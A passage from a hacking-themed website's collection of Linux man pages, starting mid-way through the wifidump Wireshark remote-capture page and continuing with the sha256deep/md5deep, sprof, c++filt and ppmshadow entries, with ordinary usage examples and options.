$ wireshark -oextcap.wifidump.remotehost:remotehost
-oextcap.wifidump.remotechannelfrequency:5180
-oextcap.wifidump.remotechannelwidth:40
-i wifidump -k

Supported interfaces:

1.

wifidump

OPTIONS

–help

Print program arguments.

–version

Print program version.

–extcap-interfaces

List available interfaces.

–extcap-interface=<interface>

Use specified interfaces.

–extcap-dlts

List DLTs of specified interface.

–extcap-config

List configuration options of specified interface.

–capture

Start capturing from specified interface and write raw packet data to the location specified by –fifo.

–fifo=<path to file or pipe>

Save captured packet to file or send it through pipe.

–remote-host=<remote host>

The address of the remote host for capture.

–remote-port=<remote port>

The SSH port of the remote host.

–remote-username=<username>

The username for ssh authentication.

–remote-password=<password>

The password to use (if not ssh-agent and pubkey are used). WARNING: the passwords are stored in plaintext and visible to all users on this system. It is recommended to use keyfiles with a SSH agent.

–sshkey=<SSH private key path>

The path to a private key for authentication.

–remote-interface=<remote interface>

The remote network interface to capture from.

–remote-channel-frequency=<channel frequency>

The remote channel frequency in MHz.

–remote-channel-width=<channel width>

The remote channel width in MHz.

–extcap-capture-filter=<capture filter>

The capture filter. It corresponds to the value provided via the tshark -f option, and the Capture Filter field next to the interfaces list in the Wireshark interface.

EXAMPLES

To see program arguments:

wifidump –help

To see program version:

wifidump –version

To see interfaces:

wifidump –extcap-interfaces

Only one interface (wifidump) is supported.

Example output

interface {value=wifidump}{display=Wi-Fi remote capture}

To see interface DLTs:

wifidump –extcap-interface=wifidump –extcap-dlts

Example output

dlt {number=147}{name=wifidump}{display=Remote capture dependent DLT}

To see interface configuration options:

wifidump –extcap-interface=wifidump –extcap-config

Example output

arg {number=0}{call=–remote-host}{display=Remote SSH server address}{type=string} {tooltip=The remote SSH host. It can be both an IP address or a hostname}{required=true}{group=Server} arg {number=1}{call=–remote-port}{display=Remote SSH server port}{type=unsigned} {tooltip=The remote SSH host port (1-65535)}{range=1,65535}{group=Server} arg {number=2}{call=–remote-username}{display=Remote SSH server username}{type=string} {tooltip=The remote SSH username. If not provided, the current user will be used}{group=Authentication} arg {number=3}{call=–remote-password}{display=Remote SSH server password}{type=password} {tooltip=The SSH password, used when other methods (SSH agent or key files) are unavailable.}{group=Authentication} arg {number=4}{call=–sshkey}{display=Path to SSH private key}{type=fileselect} {tooltip=The path on the local filesystem of the private ssh key}{mustexist=true}{group=Authentication} arg {number=5}{call=–sshkey-passphrase}{display=SSH key passphrase}{type=password} {tooltip=Passphrase to unlock the SSH private key}{group=Authentication} arg {number=6}{call=–remote-interface}{display=Remote interface}{type=string} {tooltip=The remote network interface used to capture}{default=auto}{group=Capture} arg {number=7}{call=–remote-channel-frequency}{display=Remote channel}{type=selector} {tooltip=The remote channel used to capture}{group=Capture} arg {number=8}{call=–remote-channel-width}{display=Remote channel width}{type=selector} {tooltip=The remote channel width used to capture}{group=Capture} arg {number=9}{call=–remote-filter}{display=Remote capture filter}{type=string} {tooltip=The remote capture filter}{group=Capture} arg {number=10}{call=–remote-count}{display=Packets to capture}{type=unsigned} {tooltip=The number of remote packets to capture.}{group=Capture} arg {number=11}{call=–log-level}{display=Set the log level}{type=selector} {tooltip=Set the log level}{required=false}{group=Debug} arg {number=12}{call=–log-file}{display=Use a file for logging}{type=fileselect} {tooltip=Set a file where log messages are written}{required=false}{group=Debug}

To capture:

wifidump –extcap-interface=wifidump –fifo=/tmp/wifidump.pcap –capture –remote-host 192.168.1.10 –remote-username user –remote-channel-frequency 5180 –remote-channel-width 40

Note

To stop capturing CTRL+C/kill/terminate application.

The wifidump binary can be renamed to support multiple instances. For instance if we want wifidump to show up twice in wireshark (for instance to handle multiple profiles), we can copy wifidump to wifidump-host1 and wifidump-host2. Each binary will show up an interface name same as the executable name. Those executables not being “wifidump” will show up as “custom version” in the interface description.

SEE ALSO

wireshark(1), tshark(1), extcap(4), tcpdump(1)

NOTES

Wifidump is part of the Wireshark distribution. The latest version of Wireshark can be found at <https://www.wireshark.org>.

HTML versions of the Wireshark project man pages are available at <https://www.wireshark.org/docs/man-pages>.

AUTHORS

Original Author
Adrian Granados <adrian[AT]intuitibits.com>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1414 - Linux cli command sha256deep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sha256deep and provides detailed information about the command sha256deep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sha256deep.

NAME 🖥️ sha256deep 🖥️

Compute and compare MD5 message digests
sha1deep - Compute and compare SHA-1 message digests
sha256deep - Compute and compare SHA-256 message digests
tigerdeep - Compute and compare Tiger message digests
whirlpooldeep - Compute and compare Whirlpool message digests

SYNOPSIS

md5deep -v | -V | -h
md5deep [-m|-M|-x|-X <file>] [-a|-A <hash>] [-f <file>] [-p <size>] [-i <size>] [-tnwzresS0lbkqZud] [-F <bum>] [-o <fbcplsde>] [-j <num>] [[FILES]

DESCRIPTION

Computes the hashes, or message digest, for any number of files while optionally recursively digging through the directory structure. Can also take a list of known hashes and display the filenames of input files whose hashes either do or do not match any of the known hashes. Errors are reported to standard error. If no FILES are specified, reads from standard input.

-p <size>
Piecewise mode. Breaks files into chunks before hashing. Chunks may be specified using IEC multipliers b, k, m, g, t, p, or e. (Never let it be said that the author didn’t plan ahead!) This mode cannot be used with the -z mode.

-i|-I <size>
Size threshold mode. Only hash files smaller than the given the threshold. In -i mode, simply omits those files larger than the threshold. In -I mode, displays all files, but uses asterisks for the hashes of files larger than the threshold. Sizes may be specified using IEC multipliers b, k, m, g, t, p, or e.

-r
Enables recursive mode. All subdirectories are traversed. Please note that recursive mode cannot be used to examine all files of a given file extension. For example, calling md5deep -r *.txt will examine all files in directories that end in .txt.

-e
Displays a progress indicator and estimate of time remaining for each file being processed. Time estimates for files larger than 4GB are not available on Windows. This mode may not be used with th -p mode.

-m <file>
Enables matching mode. The file given should be a list of known hashes. The input files are examined one at a time, and only those files that match the list of known hashes are output. This flag may be used more than once to add multiple sets of known hashes. Acceptable formats for lists of known hashes are plain (such as those generated by md5deep or md5sum), Hashkeeper files, iLook, and the National Software Reference Library (NSRL) as produced by the National Institute for Standards in Technology.
If standard input is used with the -m flag, displays “stdin” if the input matches one of the hashes in the list of known hashes. If the hash does not match, the program displays no output.
This flag may not be used in conjunction with the -x, -X, or -A flags. See the section “UNICODE SUPPORT” below.

-x <file>
Same as the -m flag above, but does negative matching. That is, only those files NOT in the list of known hashes are displayed.
This flag may not be used in conjunction with the -m, -M, or -a flags. See the section “UNICODE SUPPORT” below.

-M and -X <file>
Same as -m and -x above, but displays the hash for each file that does (or does not) match the list of known hashes.

-a <hash>
Adds a single hash to the list of known hashes used for matching mode, and if not already enabled, enables matching mode. Adding single hashes cannot, by itself, be used to print the hashes of matching files like the -M flag does. When used in conjunction with the -w flag, the filename displayed is just the hash submitted on the command line.
This flag may not be used in conjunction with the -x, -X, or -A flags.

-A <hash>
Same as -a above, but does negative matching. This flag may not be used in conjunction with the -m, -M, or -A flags.

-f <file>
Takes a list of files to be hashed from the specified file. Each line is assumed to be a filename. This flag can only be used once per invocation. If it’s used a second time, the second instance will clobber the first.
Note that you can still use other flags, such as the -m or -x modes, and submit additional FILES on the command line.

-w
During any of the matching modes (-m,-M,-x,or -X), displays the filename of the known hash that matched the input file. See the section “UNICODE SUPPORT” below.

-t
Display a timestamp in GMT with each result. On Windows this timestamp will be the file’s creation time. On all other systems it should be the file’s change time.

-n
During any of the matching modes (-m,-M,-x,or -X), displays only the filenames of any known hashes that were not matched by any of the input files.

-s
Enables silent mode. All error messages are suppressed.

-S
Like silent mode, but still displays warnings on improperly formatted hashes in the list of known hashes.

-z
Enables file size mode. Prepends the hash with a ten digit representation of the size of each file processed. If the file size is greater than 9999999999 bytes (about 9.3GB) the program displays 9999999999 for the size.

-q
Quiet mode. File names are omitted from the output. Each hash is still followed by two spaces before the newline.

-Z
Produces output in Triage format. Each line contains the file’s size, a tab, a hash of the first 512 bytes, a tab, the hash of the complete file, a tab, and the file name. These values are intended in increasing order of specificity. That is, two files with different sizes cannot possibly match. This is a fast comparison and should be done first. Next, two files with different partial hashes cannot possibly match. This is often faster than hashing the whole file. Finally, if those two pieces align, then it’s worth reading and hashing the entire file.

-0
Uses a NULL character (/0) to terminate each line instead of a newline. Useful for processing filenames with strange characters.

-l
Enables relative file paths. Instead of printing the absolute path for each file, displays the relative file path as indicated on the command line. This flag may not be used in conjunction with the -b flag.

-b
Enables bare mode. Strips any leading directory information from displayed filenames. This flag may not be used in conjunction with the -l flag.

-k
Enables asterisk mode. An asterisk is inserted in lieu of a second space between the filename and the hash, just like md5sum in its binary (-b) mode.

-c
Enables comma separated values output, or CSV mode. This mode has the side effect of removing the 10 digit size limitation from -z mode. Also note that asterisks from -k mode are not displayed when in CSV mode.

-o <bcpflsd>
Enables expert mode. Allows the user specify which (and only which) types of files are processed. Directory processing is still controlled with the -r flag. The expert mode options allowed are:
f - Regular files
b - Block Devices
c - Character Devices
p - Named Pipes
l - Symbolic Links
s - Sockets
d - Solaris Doors
e - Windows PE executables

-jnn
Controls multi-threading. By default the program will create one producer thread to scan the file system and one hashing thread per CPU core. Multi-threading causes output filenames to be in non-deterministic order, as files that take longer to hash will be delayed while they are hashed. If a deterministic order is required, specify -j0 to disable multi-threading

-d
Output in Digital Forensics XML (DFXML) format.

-u
Quote Unicode output. For example, the snowman is shown as U+C426.

-F<bum>
Specifies the input mode that is used to read files. The default is -Fb (buffered I/O) which reads files with fopen(). Specifying -Fu will use unbuffered I/O and read the file with open(). Specifying -Fm will use memory-mapped I/O which will be faster on some platforms, but which (currently) will not work with files that produce I/O errors.

-h
Show a help screen and exit.

-v
Show the version number and exit.

-V
Show copyright information and exit.

UNICODE SUPPORT

As of version 3.0 the program supports Unicode characters in filenames on Microsoft Windows systems for filenames specified on the command line with globbing (e.g. *), for files specified with the -f of files to hash, and for files read from directories using the -r option.

By default all program input and output should be in UTF-8. The program automatically converts this to UTF-16 for opening files).

On Unix/Linux/MacOS, you should use a terminal emulator that supports UTF-8 and UTF-8 characters in filenames will be properly displayed.

On Windows, the programs do not display Unicode characters on the console. You must either redirect output to a file and open the file with Wordpad (which can display Unicode), or you must specify the -u option to quote Unicode using standard U+XXXX notation.

Currently the file name of a file containing known hashes may not be specified as a unicode filename, but you can specify the name using tab completion or an asterisk (e.g. md5deep -m *.txt where there is only one file with a .txt extension).

RETURN VALUE

Returns a bit-wise value based on the success of the operation and the status of any matching operations.

0
Success. Note that the program considers itself successful even when it encounters read errors, permission denied errors, or finds directories when not in recursive mode.

1
Unused hashes. Under any of the matching modes, returns this value if one or more of the known hashes was not matched by any of the input files.

2
Unmatched inputs. Under any of the matching modes, returns this value if one or more of the input values did not match any of the known hashes.

64
User error, such as trying to do both positive and negative matching at the same time.

128
Internal error, such as memory corruption or uncaught cycle. All internal errors should be reported to the developer! See the section “Reporting Bugs” below.

AUTHOR

md5deep was written by Jesse Kornblum, [email protected] and Simson Garfinkel.

KNOWN ISSUES

Using the -r flag cannot be used to recursively process all files of a given extension in a directory. This is a feature, not a bug. If you need to do this, use the find(1) command.

REPORTING BUGS

We take all bug reports very seriously. Any bug that jeopardizes the forensic integrity of this program could have serious consequences on people’s lives. When submitting a bug report, please include a description of the problem, how you found it, and your contact information.

Send bug reports to the author at the address above.

COPYRIGHT

This program is a work of the US Government. In accordance with 17 USC 105, copyright protection is not available for any work of the US Government. This program is PUBLIC DOMAIN. Portions of this program contain code that is licensed under the terms of the General Public License (GPL). Those portions retain their original copyright and license. See the file COPYING for more details.

There is NO warranty for this program; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

SEE ALSO

More information and installation instructions can be found in the README file. Current versions of both documents can be found on the project homepage: http://md5deep.sourceforge.net/

The MD5 specification, RFC 1321, is available at
http://www.ietf.org/rfc/rfc1321.txt

The SHA-1 specification, RFC 3174, is available at
http://www.faqs.org/rfcs/rfc3174.html

The SHA-256 specification, FIPS 180-2, is available at
http://csrc.nist.gov/publications/fips/fips180-2/fips180-2.pdf

The SHA-3-256 specification is available at
http://keccak.noekeon.org/

The Tiger specification is available at
http://www.cs.technion.ac.il/~biham/Reports/Tiger/

The Whirlpool specification is available at
http://planeta.terra.com.br/informatica/paulobarreto/WhirlpoolPage.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1415 - Linux cli command sprof

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sprof and provides detailed information about the command sprof, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sprof.

NAME 🖥️ sprof 🖥️

read and display shared object profiling data

SYNOPSIS

sprof [option]... shared-object-path [profile-data-path]

DESCRIPTION

The sprof command displays a profiling summary for the shared object (shared library) specified as its first command-line argument. The profiling summary is created using previously generated profiling data in the (optional) second command-line argument. If the profiling data pathname is omitted, then sprof will attempt to deduce it using the soname of the shared object, looking for a file with the name <soname>.profile in the current directory.

OPTIONS

The following command-line options specify the profile output to be produced:

–call-pairs
-c
Print a list of pairs of call paths for the interfaces exported by the shared object, along with the number of times each path is used.

–flat-profile
-p
Generate a flat profile of all of the functions in the monitored object, with counts and ticks.

–graph
-q
Generate a call graph.

If none of the above options is specified, then the default behavior is to display a flat profile and a call graph.

The following additional command-line options are available:

–help
-?
Display a summary of command-line options and arguments and exit.

–usage
Display a short usage message and exit.

–version
-V
Display the program version and exit.

STANDARDS

GNU.

EXAMPLES

The following example demonstrates the use of sprof. The example consists of a main program that calls two functions in a shared object. First, the code of the main program:

$ cat prog.c
#include <stdlib.h>
void x1(void);
void x2(void);
int
main(int argc, char *argv[])
{
    x1();
    x2();
    exit(EXIT_SUCCESS);
}

The functions x1() and x2() are defined in the following source file that is used to construct the shared object:

$ cat libdemo.c
#include <unistd.h>
void
consumeCpu1(int lim)
{
    for (unsigned int j = 0; j < lim; j++)
	getppid();
}
void
x1(void) {
    for (unsigned int j = 0; j < 100; j++)
	consumeCpu1(200000);
}
void
consumeCpu2(int lim)
{
    for (unsigned int j = 0; j < lim; j++)
	getppid();
}
void
x2(void)
{
    for (unsigned int j = 0; j < 1000; j++)
	consumeCpu2(10000);
}

Now we construct the shared object with the real name libdemo.so.1.0.1, and the soname libdemo.so.1:

$ cc -g -fPIC -shared -Wl,-soname,libdemo.so.1 \
        -o libdemo.so.1.0.1 libdemo.c

Then we construct symbolic links for the library soname and the library linker name:

$ ln -sf libdemo.so.1.0.1 libdemo.so.1
$ ln -sf libdemo.so.1 libdemo.so

Next, we compile the main program, linking it against the shared object, and then list the dynamic dependencies of the program:

$ cc -g -o prog prog.c -L. -ldemo
$ ldd prog
	linux-vdso.so.1 =>  (0x00007fff86d66000)
	libdemo.so.1 => not found
	libc.so.6 => /lib64/libc.so.6 (0x00007fd4dc138000)
	/lib64/ld-linux-x86-64.so.2 (0x00007fd4dc51f000)

In order to get profiling information for the shared object, we define the environment variable LD_PROFILE with the soname of the library:

$ export LD_PROFILE=libdemo.so.1

We then define the environment variable LD_PROFILE_OUTPUT with the pathname of the directory where profile output should be written, and create that directory if it does not exist already:

$ export LD_PROFILE_OUTPUT=$(pwd)/prof_data
$ mkdir -p $LD_PROFILE_OUTPUT

LD_PROFILE causes profiling output to be appended to the output file if it already exists, so we ensure that there is no preexisting profiling data:

$ rm -f $LD_PROFILE_OUTPUT/$LD_PROFILE.profile

We then run the program to produce the profiling output, which is written to a file in the directory specified in LD_PROFILE_OUTPUT:

$ LD_LIBRARY_PATH=. ./prog
$ ls prof_data
libdemo.so.1.profile

We then use the sprof -p option to generate a flat profile with counts and ticks:

$ sprof -p libdemo.so.1 $LD_PROFILE_OUTPUT/libdemo.so.1.profile
Flat profile:
Each sample counts as 0.01 seconds.
  %   cumulative   self              self     total
 time   seconds   seconds    calls  us/call  us/call  name
 60.00      0.06     0.06      100   600.00           consumeCpu1
 40.00      0.10     0.04     1000    40.00           consumeCpu2
  0.00      0.10     0.00        1     0.00           x1
  0.00      0.10     0.00        1     0.00           x2

The sprof -q option generates a call graph:

$ sprof -q libdemo.so.1 $LD_PROFILE_OUTPUT/libdemo.so.1.profile
index % time    self  children    called     name
                0.00    0.00      100/100         x1 [1]
[0]    100.0    0.00    0.00      100         consumeCpu1 [0]
-----------------------------------------------
                0.00    0.00        1/1           <UNKNOWN>
[1]      0.0    0.00    0.00        1         x1 [1]
                0.00    0.00      100/100         consumeCpu1 [0]
-----------------------------------------------
                0.00    0.00     1000/1000        x2 [3]
[2]      0.0    0.00    0.00     1000         consumeCpu2 [2]
-----------------------------------------------
                0.00    0.00        1/1           <UNKNOWN>
[3]      0.0    0.00    0.00        1         x2 [3]
                0.00    0.00     1000/1000        consumeCpu2 [2]
-----------------------------------------------

Above and below, the “<UNKNOWN>” strings represent identifiers that are outside of the profiled object (in this example, these are instances of main()).

The sprof -c option generates a list of call pairs and the number of their occurrences:

$ sprof -c libdemo.so.1 $LD_PROFILE_OUTPUT/libdemo.so.1.profile
<UNKNOWN>                  x1                                 1
x1                         consumeCpu1                      100
<UNKNOWN>                  x2                                 1
x2                         consumeCpu2                     1000

SEE ALSO

gprof(1), ldd(1), ld.so(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1416 - Linux cli command x86_64-w64-mingw32-c++filt

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32-c++filt and provides detailed information about the command x86_64-w64-mingw32-c++filt, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32-c++filt.

NAME 🖥️ x86_64-w64-mingw32-c++filt 🖥️

demangle C++ and Java symbols

SYNOPSIS

c++filt [-_|–strip-underscore] [-n|–no-strip-underscore] [-p|–no-params] [-t|–types] [-i|–no-verbose] [-r|–no-recurse-limit] [-R|–recurse-limit] [-s format|–format=format] [–help] [–version] [symbol…]

DESCRIPTION

The C++ and Java languages provide function overloading, which means that you can write many functions with the same name, providing that each function takes parameters of different types. In order to be able to distinguish these similarly named functions C++ and Java encode them into a low-level assembler name which uniquely identifies each different version. This process is known as mangling. The c++filt [1] program does the inverse mapping: it decodes (demangles) low-level names into user-level names so that they can be read.

Every alphanumeric word (consisting of letters, digits, underscores, dollars, or periods) seen in the input is a potential mangled name. If the name decodes into a C++ name, the C++ name replaces the low-level name in the output, otherwise the original word is output. In this way you can pass an entire assembler source file, containing mangled names, through c++filt and see the same source file containing demangled names.

You can also use c++filt to decipher individual symbols by passing them on the command line:

c++filt <symbol>

If no symbol arguments are given, c++filt reads symbol names from the standard input instead. All the results are printed on the standard output. The difference between reading names from the command line versus reading names from the standard input is that command-line arguments are expected to be just mangled names and no checking is performed to separate them from surrounding text. Thus for example:

c++filt -n _Z1fv

will work and demangle the name to “f()” whereas:

c++filt -n _Z1fv,

will not work. (Note the extra comma at the end of the mangled name which makes it invalid). This command however will work:

echo _Z1fv, | c++filt -n

and will display “f(),”, i.e., the demangled name followed by a trailing comma. This behaviour is because when the names are read from the standard input it is expected that they might be part of an assembler source file where there might be extra, extraneous characters trailing after a mangled name. For example:

.type _Z1fv, @function

OPTIONS

-_

–strip-underscore

On some systems, both the C and C++ compilers put an underscore in front of every name. For example, the C name foo gets the low-level name _foo. This option removes the initial underscore. Whether c++filt removes the underscore by default is target dependent.

-n

–no-strip-underscore

Do not remove the initial underscore.

-p

–no-params

When demangling the name of a function, do not display the types of the function’s parameters.

-t

–types

Attempt to demangle types as well as function names. This is disabled by default since mangled types are normally only used internally in the compiler, and they can be confused with non-mangled names. For example, a function called “a” treated as a mangled type name would be demangled to “signed char”.

-i

–no-verbose

Do not include implementation details (if any) in the demangled output.

-r

-R

–recurse-limit

–no-recurse-limit

–recursion-limit

–no-recursion-limit

Enables or disables a limit on the amount of recursion performed whilst demangling strings. Since the name mangling formats allow for an infinite level of recursion it is possible to create strings whose decoding will exhaust the amount of stack space available on the host machine, triggering a memory fault. The limit tries to prevent this from happening by restricting recursion to 2048 levels of nesting. The default is for this limit to be enabled, but disabling it may be necessary in order to demangle truly complicated names. Note however that if the recursion limit is disabled then stack exhaustion is possible and any bug reports about such an event will be rejected. The -r option is a synonym for the –no-recurse-limit option. The -R option is a synonym for the –recurse-limit option.

-s format

–format=format

c++filt can decode various methods of mangling, used by different compilers. The argument to this option selects which method it uses:

“auto”
Automatic selection based on executable (the default method)

“gnu”
the one used by the GNU C++ compiler (g++)

“lucid”
the one used by the Lucid compiler (lcc)

“arm”
the one specified by the C++ Annotated Reference Manual

“hp”
the one used by the HP compiler (aCC)

“edg”
the one used by the EDG compiler

“gnu-v3”
the one used by the GNU C++ compiler (g++) with the V3 ABI.

“java”
the one used by the GNU Java compiler (gcj)

“gnat”
the one used by the GNU Ada compiler (GNAT).

–help
Print a summary of the options to c++filt and exit.

–version
Print the version number of c++filt and exit.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

FOOTNOTES

  1. MS-DOS does not allow + characters in file names, so on MS-DOS this program is named CXXFILT.

SEE ALSO

the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1417 - Linux cli command ppmshadow

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmshadow and provides detailed information about the command ppmshadow, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmshadow.

.

NAME 🖥️ ppmshadow 🖥️

add simulated shadows to a PPM image

SYNOPSIS

ppmshadow [-b blur_size] [-k] [-t] [-x xoffset] [-y yoffset] [ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmshadow adds a simulated shadow to an image, giving the appearance that the contents of the image float above the page, casting a diffuse shadow on the background. Shadows can either be black, as cast by opaque objects, or translucent, where the shadow takes on the color of the object which casts it. You can specify the crispness of the shadow and its displacement from the image with command line options.

ppmshadow sees your image as a foreground on a background. The background color is whatever color the top left pixel of your image is. The background is all the pixels that are that color and the foreground is everything else. The shadow that ppmshadow generates is a shadow of the foreground, cast on the background.

The shadow is the same size as the foreground, plus some fringes as determined by the -b option. It is truncated to fit in your image. The output image is the same dimensions as the input image.

You can use pamcomp to place a foreground image over a background before running ppmshadow on it. You can use ppmmake to make the background image (just an image of a solid color).

The output has the same dimensions and maxval as the input.

The blurring to make the fringes of the shadow will not have a desirable effect if the color depth (maxval) of the image is too low – you need a high maxval to get all the shades needed to create a smooth gradient. So if your input has low maxval (including most notably if the input is PBM, which means its maxval is 1), run it through pamdepth to raise its maxval. 255 is usually a good choice.

Input is a PPM file named by the ppmfile command line argument; if you don’t specify ppmfile, the input is Standard Input.

The output is a PPM file, written to Standard Output.

OPTIONS

ppmshadow recognizes the following command line options:

-b blur_size
Sets the distance of the light source from the image. Larger values move the light source closer, casting a more diffuse shadow, while smaller settings move the light further away, yielding a sharper shadow. blur_size is the number of pixels of fringe there is on the shadow, beyond where the shadow would be if there were no blurring.

The default is 11 pixels.

Note that this option controls only the fringing effect of moving the light source closer to the object. It does not make the shadow grow or shrink as would happpen in the real world if you moved a point light source closer to and further from an object.

-k
Keep the intermediate temporary image files. When debugging, these intermediate files provide many clues as to the source of an error. See below for a list of the contents of each file.

-t
Consider the non-background material in the image translucent – it casts shadows of its own color rather than a black shadow, which is default. This often results in fuzzy, difficult-to-read images but in some circumstances may look better.

-x xoffset
Specifies the displacement of the light source to the left of the image. Larger settings of xoffset displace the shadow to the right, as would be cast by a light further to the left. If not specified, the horizontal offset is half of blur_size (above), to the left.

-y yoffset
Specifies the displacement of the light source above the top of the image. Larger settings displace the shadow downward, corresponding to moving the light further above the top of the image. If you don’t specify -y, the vertical offset defaults to the same as the horizontal offset (above), upward.

ppmshadow does not recognize the options common to all programs based on libnetpbm (See Common Options .) However, the -version option works.

LIMITATIONS

The source image must contain sufficient space on the edges in the direction in which the shadow is cast to contain the shadow – if it doesn’t some of the internal steps may fail. You can usually expand the border of a too-tightly-cropped image with pnmmargin before processing it with ppmshadow.

Black pixels and pixels with the same color as the image background don’t cast a shadow. If this causes unintentional “holes” in the shadow, fill the offending areas with a color which differs from black or the background by RGB values of 1, which will be imperceptible to the viewer. Since the comparison is exact, the modified areas will now cast shadows.

The background color of the source image (which is preserved in the output) is deemed to be the color of the pixel at the top left of the input image. If that pixel isn’t part of the background, simply add a one-pixel border at the top of the image, generate the shadow image, then delete the border from it.

If something goes wrong along the way, the error messages from the various Netpbm programs ppmshadow calls will, in general, provide little or no clue as to where ppmshadow went astray. In this case, Specify the -k option and examine the intermediate results in the temporary files (which this option causes to be preserved). If you manually run the commands that ppmshadow runs on these files, you can figure out where the problem is. In problem cases where you want to manually tweak the image generation process along the way, you can keep the intermediate files with the -k option, modify them appropriately with an image editor, then recombine them with the steps used by the code in ppmshadow.

Shadows are by default black, as cast by opaque material in the image occluding white light. Use the -t option to simulate translucent material, where the shadow takes on the color of the object that casts it. If the contrast between the image and background is insufficient, the -t option may yield unattractive results which resemble simple blurring of the original image.

